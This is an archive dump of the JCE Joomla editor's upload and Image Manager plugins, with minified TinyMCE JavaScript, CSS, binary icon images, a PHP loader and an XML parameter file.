swfl,application/vnd.openxmlformats-officedocument.wordprocessingml.document,docx,application/vnd.openxmlformats-officedocument.wordprocessingml.template,dotx,application/vnd.openxmlformats-officedocument.spreadsheetml.sheet,xlsx,application/vnd.openxmlformats-officedocument.presentationml.presentation,pptx,application/vnd.openxmlformats-officedocument.presentationml.template,potx,application/vnd.openxmlformats-officedocument.presentationml.slideshow,ppsx,application/x-javascript,js,application/json,json,audio/mpeg,mpga mpega mp2 mp3,audio/x-wav,wav,audio/mp4,m4a,image/bmp,bmp,image/gif,gif,image/jpeg,jpeg jpg jpe,image/photoshop,psd,image/png,png,image/svg+xml,svg svgz,image/tiff,tiff tif,text/plain,asc txt text diff log,text/html,htm html xhtml,text/css,css,text/csv,csv,text/rtf,rtf,video/mpeg,mpeg mpg mpe,video/quicktime,qt mov,video/mp4,mp4,video/x-m4v,m4v,video/x-flv,flv,video/x-ms-wmv,wmv,video/avi,avi,video/webm,webm,video/vnd.rn-realvideo,rv,application/vnd.oasis.opendocument.formula-template,otf,application/octet-stream,exe");var state={STOPPED:1,STARTED:2,QUEUED:1,UPLOADING:2,FAILED:4,DONE:5,GENERIC_ERROR:-100,HTTP_ERROR:-200,IO_ERROR:-300,SECURITY_ERROR:-400};tinymce.create("tinymce.plugins.Upload",{files:[],plugins:[],init:function(ed,url){function cancel(){ed.dom.bind(ed.getBody(),"dragover",function(e){var dataTransfer=e.dataTransfer;dataTransfer&&dataTransfer.files&&dataTransfer.files.length&&e.preventDefault()}),ed.dom.bind(ed.getBody(),"drop",function(e){var dataTransfer=e.dataTransfer;dataTransfer&&dataTransfer.files&&dataTransfer.files.length&&e.preventDefault()})}var self=this;self.editor=ed,self.plugin_url=url,ed.onPreInit.add(function(){each(ed.plugins,function(o,k){ed.getParam(k+"_upload")&&tinymce.is(o.getUploadURL,"function")&&tinymce.is(o.insertUploadedFile,"function")&&self.plugins.push(o)}),ed.settings.compress.css||ed.dom.loadCSS(url+"/css/content.css"),ed.parser.addNodeFilter("img",function(nodes){for(var node,cls,data,i=nodes.length;i--;)node=nodes[i],cls=node.attr("class"),data=node.attr("data-mce-upload-marker"),(cls&&cls.indexOf("upload-placeholder")!=-1||data)&&(0==self.plugins.length?node.remove():self._createUploadMarker(node))}),ed.serializer.addNodeFilter("img",function(nodes){for(var node,cls,i=nodes.length;i--;)node=nodes[i],cls=node.attr("class"),cls&&/mce-item-uploadmarker/.test(cls)&&(cls=cls.replace(/(?:^|\s)mce-item-(upload|uploadmarker)(?!\S)/g,""),cls+=" upload-placeholder",node.attr({"data-mce-src":"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",class:tinymce.trim(cls)}))})}),ed.onInit.add(function(){function bindUploadEvents(ed){each(ed.dom.select("img.mce-item-uploadmarker",ed.getBody()),function(n){0==self.plugins.length?ed.dom.remove(n):self._bindUploadMarkerEvents(ed,n)})}function cancelEvent(e){e.preventDefault(),e.stopPropagation()}return supportDragDrop?0==self.plugins.length?void cancel():(ed.selection.onSetContent.add(function(){bindUploadEvents(ed)}),ed.onSetContent.add(function(){bindUploadEvents(ed)}),ed.onFullScreen&&ed.onFullScreen.add(function(editor){bindUploadEvents(editor)}),ed.dom.bind(ed.getBody(),"dragover",function(e){e.dataTransfer.dropEffect=tinymce.VK.metaKeyPressed(e)?"copy":"move"}),void ed.dom.bind(ed.getBody(),"drop",function(e){var dataTransfer=e.dataTransfer;dataTransfer&&dataTransfer.files&&dataTransfer.files.length&&(each(dataTransfer.files,function(file){var rng=RangeUtils.getCaretRangeFromPoint(e.clientX,e.clientY,ed.getDoc());rng&&(ed.selection.setRng(rng),rng=null),self.addFile(file)}),cancelEvent(e)),self.files.length&&each(self.files,function(file){self.upload(file)}),tinymce.isGecko&&"IMG"==e.target.nodeName&&cancelEvent(e)})):void cancel()}),self.FilesAdded=new tinymce.util.Dispatcher(this),self.UploadProgress=new tinymce.util.Dispatcher(this),self.FileUploaded=new tinymce.util.Dispatcher(this),self.UploadError=new tinymce.util.Dispatcher(this),this.settings={multipart:!0,multi_selection:!0,file_data_name:"file",filters:[]},self.FileUploaded.add(function(file,o){function showError(error){return ed.windowManager.alert(error||ed.getLang("upload.response_error","Invalid Upload Response")),ed.dom.remove(n),!1}var s,n=file.marker;if(n){if(!o||!o.response)return showError();var r,data=o.response;try{r=JSON.parse(data)}catch(e){return data.indexOf("{")!==-1&&(data="The server returned an invalid JSON response."),showError()}if(!r||!r.result)return showError();if(r.error){var txt=r.text||r.error;return ed.windowManager.alert(txt),ed.dom.remove(n),!1}if(file.status==state.DONE){if(file.uploader){var u=file.uploader,obj={type:file.type,file:r.result.file,name:file.name};if(s=u.insertUploadedFile(obj)){var styles=ed.dom.getAttrib(n,"data-mce-style");if(styles&&(styles=ed.dom.styles.parse(styles),ed.dom.setStyles(s,styles)),ed.dom.hasClass(n,"mce-item-uploadmarker")&&ed.dom.setAttribs(s,{width:n.width||s.width,height:n.height||s.height}),ed.dom.replace(s,n))return ed.nodeChanged(),!0}}self.files.splice(tinymce.inArray(self.files,file),1)}ed.dom.remove(n)}}),self.UploadError.add(function(o){ed.windowManager.alert(o.code+" : "+o.message),o.file&&o.file.marker&&ed.dom.remove(o.file.marker)})},_bindUploadMarkerEvents:function(ed,marker){function removeUpload(){dom.setStyles("wf_upload_button",{top:"",left:"",display:"none",zIndex:""})}var self=this,dom=tinymce.DOM;ed.onNodeChange.add(removeUpload),ed.dom.bind(ed.getWin(),"scroll",removeUpload);var input=dom.get("wf_upload_input");if(!input){var btn=dom.add(dom.doc.body,"div",{id:"wf_upload_button",title:ed.getLang("upload.button_description","Click to upload a file")},'<label for="wf_upload_input">'+ed.getLang("upload.label","Upload")+"</label>");input=dom.add(btn,"input",{type:"file",id:"wf_upload_input"})}ed.dom.bind(marker,"mouseover",function(e){if(!ed.dom.getAttrib(marker,"data-mce-selected")){var vp=ed.dom.getViewPort(ed.getWin()),p1=dom.getRect(ed.getContentAreaContainer()),p2=ed.dom.getRect(marker);if(!(vp.y>p2.y+p2.h/2-25||vp.y<p2.y+p2.h/2+25-p1.h)){var x=Math.max(p2.x-vp.x,0)+p1.x,y=Math.max(p2.y-vp.y,0)+p1.y-Math.max(vp.y-p2.y,0),zIndex="mce_fullscreen"==ed.id?dom.get("mce_fullscreen_container").style.zIndex:0;dom.setStyles("wf_upload_button",{top:y+p2.h/2-27,left:x+p2.w/2-54,display:"block",zIndex:zIndex+1}),input.onchange=function(){if(input.files){var file=input.files[0];file&&(file.marker=marker,self.addFile(file)&&(ed.dom.addClass(marker,"loading"),self.upload(file),removeUpload()))}}}}}),ed.dom.bind(marker,"mouseout",function(e){!e.relatedTarget&&e.clientY>0||removeUpload()})},_createUploadMarker:function(n){var styles,ed=this.editor,src=n.attr("src")||"",style={},cls=[];if(!n.attr("alt")&&!/data:image/.test(src)){var alt=src.substring(src.length,src.lastIndexOf("/")+1);n.attr("alt",alt)}n.attr("style")&&(style=ed.dom.styles.parse(n.attr("style"))),n.attr("hspace")&&(style["margin-left"]=style["margin-right"]=n.attr("hspace")),n.attr("vspace")&&(style["margin-top"]=style["margin-bottom"]=n.attr("vspace")),n.attr("align")&&(style.float=n.attr("align")),n.attr("class")&&(cls=n.attr("class").replace(/\s*upload-placeholder\s*/,"").split(" ")),cls.push("mce-item-upload"),cls.push("mce-item-uploadmarker"),n.attr({src:"data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7",class:tinymce.trim(cls.join(" "))});var tmp=ed.dom.create("span",{style:style});(styles=ed.dom.getAttrib(tmp,"style"))&&n.attr({style:styles,"data-mce-style":styles})},buildUrl:function(url,items){var query="";return each(items,function(value,name){query+=(query?"&":"")+encodeURIComponent(name)+"="+encodeURIComponent(value)}),query&&(url+=(url.indexOf("?")>0?"&":"?")+query),url},addFile:function(file){var url,ed=this.editor,self=this;if(/\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\./i.test(file.name))return ed.windowManager.alert(ed.getLang("upload.file_extension_error","File type not supported")),!1;if(each(self.plugins,function(o,k){file.upload_url||(url=o.getUploadURL(file))&&(file.upload_url=url,file.uploader=o)}),file.upload_url){if(tinymce.is(file.uploader.getUploadConfig,"function")){var config=file.uploader.getUploadConfig();if(!new RegExp(".("+config.filetypes.join("|")+")$","i").test(file.name))return ed.windowManager.alert(ed.getLang("upload.file_extension_error","File type not supported")),!1;if(file.size){var max=parseInt(config.max_size)||1024;if(file.size>1024*max)return ed.windowManager.alert(ed.getLang("upload.file_size_error","File size exceeds maximum allowed size")),!1}}if(self.FilesAdded.dispatch(file),!file.marker){var w=300,h=300;ed.execCommand("mceInsertContent",!1,'<img id="__mce_tmp" class="mce-item-upload" />',{skip_undo:1}),/image\/(gif|png|jpeg|jpg)/.test(file.type)&&(w=h=Math.round(Math.sqrt(file.size)),w=Math.max(100,w),h=Math.max(100,h));var n=ed.dom.get("__mce_tmp");ed.dom.setAttrib(n,"id",""),n.style.width=w+"px",n.style.height=h+"px",file.marker=n}return ed.undoManager.add(),self.files.push(file),!0}return ed.windowManager.alert(ed.getLang("upload.file_extension_error","File type not supported")),!1},upload:function(file){function sendFile(bin){var xhr=new XMLHttpRequest,formData=new FormData;xhr.upload&&(xhr.upload.onprogress=function(e){e.lengthComputable&&(file.loaded=Math.min(file.size,e.loaded),self.UploadProgress.dispatch(file))}),xhr.onreadystatechange=function(){var httpStatus;if(4==xhr.readyState&&self.state!==state.STOPPED){try{httpStatus=xhr.status}catch(ex){httpStatus=0}httpStatus>=400?self.UploadError.dispatch({code:state.HTTP_ERROR,message:ed.getLang("upload.http_error","HTTP Error"),file:file,status:httpStatus}):(file.loaded=file.size,self.UploadProgress.dispatch(file),bin=formData=null,file.status=state.DONE,self.FileUploaded.dispatch(file,{response:xhr.responseText,status:httpStatus}))}};var name=file.target_name||file.name;name=name.replace(/[\+\\\/\?\#%&<>"\'=\[\]\{\},;@\^\(\)£€$]/g,""),extend(args,{name:name}),xhr.open("post",url,!0),each(self.settings.headers,function(value,name){xhr.setRequestHeader(name,value)}),each(extend(args,self.settings.multipart_params),function(value,name){formData.append(name,value)}),formData.append(self.settings.file_data_name,bin),xhr.send(formData)}var self=this,ed=this.editor,args={method:"upload",id:uid(),inline:1,component_id:ed.settings.component_id};args[ed.settings.token]="1";var url=file.upload_url;file.status!=state.DONE&&file.status!=state.FAILED&&self.state!=state.STOPPED&&(extend(args,{name:file.target_name||file.name}),sendFile(file))},getInfo:function(){return{longname:"Drag & Drop and Placeholder Upload",author:"Ryan Demmer",authorurl:"http://www.joomlacontenteditor.net",infourl:"http://www.joomlacontenteditor.net",version:"@@version@@"}}}),tinymce.PluginManager.add("upload",tinymce.plugins.Upload)}();editor/tiny_mce/plugins/upload/css/content.css000060400000001263150750527140015566 0ustar00.mce-item-upload{border:1px dashed #bbb!important;background-position:center;background-repeat:no-repeat;background-color:#fafafa;background-image:url(../img/upload.gif);display:inline-block;vertical-align:middle;text-align:center;min-width:320px}.mce-item-upload span.upload-progress{position:relative;display:inline-block;top:50%;line-height:10px;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:7pt;vertical-align:baseline;margin:-5px 0 0;text-align:center;width:32px;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.mce-item-uploadmarker{background-image:url(../img/picture.png)}.mce-item-uploadmarker.loading{background-image:url(../img/upload.gif)}editor/tiny_mce/plugins/upload/css/index.html000060400000000054150750527140015374 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/upload/index.html000060400000000054150750527140014604 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/upload/img/picture.png000060400000000323150750527140015543 0ustar00�PNG


IHDR�����IDATx�Օ�� E��GG?��ё�O�kR���Bc��	��SЈA�J`�.t�R2#�
w�"@��*@\a
���%B,8@���d^<�y��A�|�\"��5	���`���iz�f3]_��R|�D`��c
���Z����-�ޕU�R��IEND�B`�editor/tiny_mce/plugins/upload/img/upload.gif000060400000005060150750527140015340 0ustar00GIF89a���������Ҽ����������ܸ����������ت����������������������666&&&PPP���ppp���VVV���hhhFFF�����HHH222!�NETSCAPE2.0!�Created with ajaxload.info!�	
,�@�pH�b�$Ĩtx@$�W@e��8>S���-k�\�'<\0�f4�`�
/yXg{wQ
o	�X
h�
Dd�	a�eTy�vkyBVevCp�y��CyFp�QpGpP�CpHp�ͫpIp��pJ�����e��
֝X��ϧ���e��p�X����%䀪ia6�Ž�'_S$�jt�EY�<��M��zh��*AY ���I8�ظq���J6c����N8/��f�s��	!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����f!Q
mx[

[ Dbd	jx��B�iti��BV[tC�f��C�c��C�gc�D�c���c�ټ����[��cL��
cM��cN��[O��fPba��lB�-N���ƌ!��t�
"��`Q��$}`����̙bJ,{԰q	GÈ�ܠ�V��.�xI���:A!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ���ش�������X������	�c���ŪXX���!F�J�ϗ�t�4q���C
���hQ�G��x�!J@cPJ
��8*��Q�&9!b2��X��c�p�u$ɒ&O�!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ���؍����[M���[N��XO�ӺcP�X���c����WP��Fӗ
:TjH�7X-�u!��
^��@ICb��"C����dJ� �
�eJ�~Uc3#�A���	��	!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ���؍����[M���[N��XO�ӺcP�X���c����cP���B�t�t%ԐB+HԐ�G�$]��� C#�K��(Gn٣�� Un���d�������NC���%M��	!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����fusD
mx[

[eiCbd	j�XT��jif^V[tC�[f��CfFc�Q�[Gc�DcHc��
cIc��BcJ����P��[����[���[b��X�׿�c�ph��/Xcfp��+ScP}`�M�&N����6@�5z���(B�RR�AR�i�e�63��yx��4ƪ���
�$J�8�%!�	
,�@�pH�P Ĩtx@$�W��8L�
��'��p�0g�	�B
h�ew����cusD 

[eiB��Zjx[C���jif^�tC�[�J�Cf	��D�[���Dc��C
c�Pڏc���c���c���[Mc�Ԥc��XOf>I6��-&(�5f���	��1dx%�O�mmFaY��Q$"-EY��E2
I���=j�Ԅ#�V7/�H�"��EmF�(a�$ܗ !�	
,�@�pH|$0
�P ĨT�qp*X, ��"ө�-o�]�"<d��f4��`B��/�yYg{	
uD
\eP
hgkC�a�hC{vk{`r�B�h{�C{r�D�h�h�CF�r��
rr�Br���h���hL���hMr���i�h���]O���r��BS+X.9�����+9�8c� 0Q�%85D�.(�6��%.����Ȑ�Ca�,�����B����{�$;0��/�z5۶��;A;editor/tiny_mce/plugins/upload/img/trans.gif000060400000000053150750527140015200 0ustar00GIF89a�!�,D;editor/tiny_mce/plugins/upload/img/index.html000060400000000054150750527140015360 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/tiny_mce/plugins/imgmanager/editor_plugin.js000060400000004601150750527140016636 0ustar00/* jce - 2.6.38 | 2019-03-14 | https://www.joomlacontenteditor.net | Copyright (C) 2006 - 2019 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */
!function(){tinymce.create("tinymce.plugins.ImageManager",{init:function(ed,url){function isMceItem(n){var cls=ed.dom.getAttrib(n,"class","");return/mce-item-/.test(cls)}this.editor=ed,ed.addCommand("mceImageManager",function(){var n=ed.selection.getNode();"IMG"==n.nodeName&&isMceItem(n)||ed.windowManager.open({file:ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=imgmanager",width:780+ed.getLang("imgmanager.delta_width",0),height:640+ed.getLang("imgmanager.delta_height",0),inline:1,popup_css:!1},{plugin_url:url})}),ed.addButton("imgmanager",{title:"imgmanager.desc",cmd:"mceImageManager"}),ed.onNodeChange.add(function(ed,cm,n){cm.setActive("imgmanager","IMG"==n.nodeName&&!isMceItem(n))}),ed.onInit.add(function(){ed&&ed.plugins.contextmenu&&ed.plugins.contextmenu.onContextMenu.add(function(th,m,e){m.add({title:"imgmanager.desc",icon:"imgmanager",cmd:"mceImageManager"})})})},insertUploadedFile:function(o){var ed=this.editor,data=this.getUploadConfig();if(data&&data.filetypes&&new RegExp(".("+data.filetypes.join("|")+")$","i").test(o.file)){var args={src:o.file,alt:o.alt||o.name,style:{}},attribs=["alt","title","id","dir","class","usemap","style","longdesc"];if(o.styles){var s=ed.dom.parseStyle(ed.dom.serializeStyle(o.styles));tinymce.extend(args.style,s),delete o.styles}if(o.style){var s=ed.dom.parseStyle(o.style);tinymce.extend(args.style,s),delete o.style}return tinymce.each(attribs,function(k){"undefined"!=typeof o[k]&&(args[k]=o[k])}),ed.dom.create("img",args)}return!1},getUploadURL:function(file){var ed=this.editor,data=this.getUploadConfig();return!!(data&&data.filetypes&&new RegExp(".("+data.filetypes.join("|")+")$","i").test(file.name))&&ed.getParam("site_url")+"index.php?option=com_jce&view=editor&plugin=imgmanager"},getUploadConfig:function(){var ed=this.editor,data=ed.getParam("imgmanager_upload");return data},getInfo:function(){return{longname:"Image Manager",author:"Ryan Demmer",authorurl:"http://www.joomlacontenteditor.net",infourl:"http://www.joomlacontenteditor.net/index2.php?option=com_content&amp;task=findkey&amp;pop=1&amp;lang=en&amp;keyref=imgmanager.about",version:"@@version@@"}}}),tinymce.PluginManager.add("imgmanager",tinymce.plugins.ImageManager)}();editor/tiny_mce/plugins/imgmanager/imgmanager.php000060400000001056150750527140016255 0ustar00<?php

/**
 * @copyright 	Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license   	GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
require_once dirname(__FILE__).'/classes/imgmanager.php';

$plugin = new WFImageManagerPlugin();
$plugin->execute();
editor/tiny_mce/plugins/imgmanager/imgmanager.xml000060400000031300150750527140016261 0ustar00<?xml version="1.0" encoding="utf-8"?>
<install version="2.0" type="plugin" plugin="imgmanager" core="1" editable="1">
    <name>WF_IMGMANAGER_TITLE</name>
    <version>2.6.38</version>
    <creationDate>14-03-2019</creationDate>
    <author>Ryan Demmer</author>
    <authorEmail>info@joomlacontenteditor.net</authorEmail>
    <authorUrl>http://www.joomlacontenteditor.net/</authorUrl>
    <copyright>Ryan Demmer</copyright>
    <license>GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html</license>
    <description>WF_IMGMANAGER_DESC</description>
    <icon>imgmanager</icon>
    <files></files>
    <params group="standard">
        <param name="dir" type="text" default="" size="50" label="WF_PARAM_DIRECTORY" description="WF_PARAM_DIRECTORY_DESC"/>
        <param name="max_size" class="upload_size" max="" type="text" default="" label="WF_PARAM_UPLOAD_SIZE" description="WF_PARAM_UPLOAD_SIZE_DESC" />
        <param name="extensions" type="extension" class="extensions" default="jpeg,jpg,png,gif" label="WF_PARAM_EXTENSIONS" description="WF_PARAM_EXTENSIONS_DESC" />
        <!--param name="hide_xtd_btns" type="radio" default="0" label="WF_IMGMANAGER_HIDE_BUTTONS" description="WF_IMGMANAGER_HIDE_BUTTONS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param-->
        <param name="name" type="filesystem" group="filesystem" default="" label="WF_PARAM_FILESYSTEM" description="WF_PARAM_FILESYSTEM_DESC" />
    </params>
    <params group="defaults">
        <param name="alt" type="text" default="" size="50" label="WF_LABEL_ALT" description="WF_LABEL_ALT_DESC" />

        <param name="margin_top" type="list" default="" pattern="[0-9]+" class="editable" label="WF_PARAM_MARGIN_TOP" description="WF_PARAM_MARGIN_TOP_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="0">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
            <option value="6">6</option>
            <option value="7">7</option>
            <option value="8">8</option>
            <option value="9">9</option>
            <option value="10">10</option>
        </param>
        <param name="margin_right" type="list" default="" pattern="[0-9]+" class="editable" label="WF_PARAM_MARGIN_RIGHT" description="WF_PARAM_MARGIN_RIGHT_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="0">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
            <option value="6">6</option>
            <option value="7">7</option>
            <option value="8">8</option>
            <option value="9">9</option>
            <option value="10">10</option>
        </param>
        <param name="margin_bottom" type="list" default="" pattern="[0-9]+" class="editable" label="WF_PARAM_MARGIN_BOTTOM" description="WF_PARAM_MARGIN_BOTTOM_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="0">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
            <option value="6">6</option>
            <option value="7">7</option>
            <option value="8">8</option>
            <option value="9">9</option>
            <option value="10">10</option>
        </param>
        <param name="margin_left" type="list" default="" pattern="[0-9]+" class="editable" label="WF_PARAM_MARGIN_LEFT" description="WF_PARAM_MARGIN_LEFT_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="0">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
            <option value="6">6</option>
            <option value="7">7</option>
            <option value="8">8</option>
            <option value="9">9</option>
            <option value="10">10</option>
        </param>
        <param name="border" type="radio" default="0" label="WF_PARAM_BORDER_ENABLE" description="WF_PARAM_BORDER_ENABLE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="border_width" type="list" default="1" pattern="[0-9]+" class="editable" label="WF_PARAM_BORDER_WIDTH" description="WF_PARAM_BORDER_WIDTH_DESC">
            <option value="inherit">WF_OPTION_NOT_SET</option>
            <option value="0">0</option>
            <option value="1">1</option>
            <option value="2">2</option>
            <option value="3">3</option>
            <option value="4">4</option>
            <option value="5">5</option>
            <option value="6">6</option>
            <option value="7">7</option>
            <option value="8">8</option>
            <option value="9">9</option>
            <option value="thin">WF_OPTION_BORDER_THIN</option>
            <option value="medium">WF_OPTION_BORDER_MEDIUM</option>
            <option value="thick">WF_OPTION_BORDER_THICK</option>
        </param>
        <param name="border_style" type="list" default="solid" label="WF_PARAM_BORDER_STYLE" description="WF_PARAM_BORDER_STYLE_DESC">
            <option value="inherit">WF_OPTION_NOT_SET</option>
            <option value="none">WF_OPTION_NONE</option>
            <option value="solid">WF_OPTION_BORDER_SOLID</option>
            <option value="dashed">WF_OPTION_BORDER_DASHED</option>
            <option value="dotted">WF_OPTION_BORDER_DOTTED</option>
            <option value="double">WF_OPTION_BORDER_DOUBLE</option>
            <option value="groove">WF_OPTION_BORDER_GROOVE</option>
            <option value="inset">WF_OPTION_BORDER_INSET</option>
            <option value="outset">WF_OPTION_BORDER_OUTSET</option>
            <option value="ridge">WF_OPTION_BORDER_RIDGE</option>
        </param>
        <param name="border_color" type="text" class="color" size="10" default="#000000" label="WF_PARAM_BORDER_COLOR" description="WF_PARAM_BORDER_COLOR_DESC"/>
        <param name="align" type="list" default="" label="WF_PARAM_ALIGN_DEFAULT" description="WF_PARAM_ALIGN_DEFAULT_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="left">WF_OPTION_ALIGN_LEFT</option>
            <option value="center">WF_OPTION_ALIGN_CENTER</option>
            <option value="right">WF_OPTION_ALIGN_RIGHT</option>
            <option value="top">WF_OPTION_ALIGN_TOP</option>
            <option value="middle">WF_OPTION_ALIGN_MIDDLE</option>
            <option value="bottom">WF_OPTION_ALIGN_BOTTOM</option>
        </param>
        <param name="always_include_dimensions" type="radio" default="0" label="WF_IMGMANAGER_PARAM_ALWAYS_INCLUDE_DIMENSIONS" description="WF_IMGMANAGER_PARAM_ALWAYS_INCLUDE_DIMENSIONS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>

        <param name="style" type="text" default="" size="50" label="WF_LABEL_STYLE" description="WF_LABEL_STYLE_DESC" />
        <param name="classes" type="text" default="" size="50" label="WF_LABEL_CLASSES" description="WF_LABEL_CLASSES_DESC" />
        <param name="title" type="text" default="" size="50" label="WF_LABEL_TITLE" description="WF_LABEL_TITLE_DESC" />
        <param name="id" type="text" default="" size="50" label="WF_LABEL_ID" description="WF_LABEL_ID_DESC" />
        <param name="direction" type="list" default="" size="50" label="WF_LABEL_DIR" description="WF_LABEL_DIR_DESC">
            <option value="">WF_OPTION_NOT_SET</option>
            <option value="ltr">WF_OPTION_LTR</option>
            <option value="rtl">WF_OPTION_RTL</option>
        </param>
        <param name="usemap" type="text" default="" size="50" label="WF_LABEL_USEMAP" description="WF_LABEL_USEMAP_DESC" />
        <param name="longdesc" type="browser" default="" size="50" class="browser" label="WF_LABEL_LONGDESC" description="WF_LABEL_LONGDESC_DESC" />

    </params>
    <params group="access">
        <param name="tabs_rollover" type="radio" default="1" label="WF_IMGMANAGER_PARAM_TAB_ROLLOVER" description="WF_IMGMANAGER_PARAM_TAB_ROLLOVER_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="tabs_advanced" type="radio" default="1" label="WF_IMGMANAGER_PARAM_TAB_ADVANCED" description="WF_IMGMANAGER_PARAM_TAB_ADVANCED_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="attributes_dimensions" type="radio" default="1" label="WF_IMGMANAGER_SHOW_DIMENSIONS" description="WF_IMGMANAGER_SHOW_DIMENSIONS_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="attributes_align" type="radio" default="1" label="WF_IMGMANAGER_SHOW_ALIGN" description="WF_IMGMANAGER_SHOW_ALIGN_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="attributes_margin" type="radio" default="1" label="WF_IMGMANAGER_SHOW_MARGIN" description="WF_IMGMANAGER_SHOW_MARGIN_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="attributes_border" type="radio" default="1" label="WF_IMGMANAGER_SHOW_BORDER" description="WF_IMGMANAGER_SHOW_BORDER_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="upload" type="radio" default="1" label="WF_PARAM_UPLOAD" description="WF_PARAM_UPLOAD_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_new" type="radio" default="1" label="WF_PARAM_FOLDER_CREATE" description="WF_PARAM_FOLDER_CREATE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_delete" type="radio" default="1" label="WF_PARAM_FOLDER_DELETE" description="WF_PARAM_FOLDER_DELETE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_rename" type="radio" default="1" label="WF_PARAM_FOLDER_RENAME" description="WF_PARAM_FOLDER_RENAME_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="folder_move" type="radio" default="1" label="WF_PARAM_FOLDER_PASTE" description="WF_PARAM_FOLDER_PASTE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="file_delete" type="radio" default="1" label="WF_PARAM_FILE_DELETE" description="WF_PARAM_FILE_DELETE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="file_rename" type="radio" default="1" label="WF_PARAM_FILE_RENAME" description="WF_PARAM_FILE_RENAME_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
        <param name="file_move" type="radio" default="1" label="WF_PARAM_FILE_PASTE" description="WF_PARAM_FILE_PASTE_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>

        <param name="inline_upload" type="radio" default="1" label="WF_PARAM_INLINE_UPLOAD" description="WF_PARAM_INLINE_UPLOAD_DESC">
            <option value="1">WF_OPTION_YES</option>
            <option value="0">WF_OPTION_NO</option>
        </param>
    </params>
    <languages>
        <language tag="en-GB">en-GB.com_jce_imgmanager.ini</language>
    </languages>
    <help>
        <topic key="imgmanager.about" title="WF_IMGMANAGER_HELP_ABOUT" />
        <topic key="imgmanager.interface" title="WF_IMGMANAGER_HELP_INTERFACE" />
        <topic key="imgmanager.rollover" title="WF_IMGMANAGER_HELP_ROLLOVER" />
        <topic key="imgmanager.advanced" title="WF_IMGMANAGER_HELP_ADVANCED" />
        <topic key="imgmanager.insert" title="WF_IMGMANAGER_HELP_INSERT" />
        <topic file="libraries/xml/help/manager.xml" />
    </help>
</install>
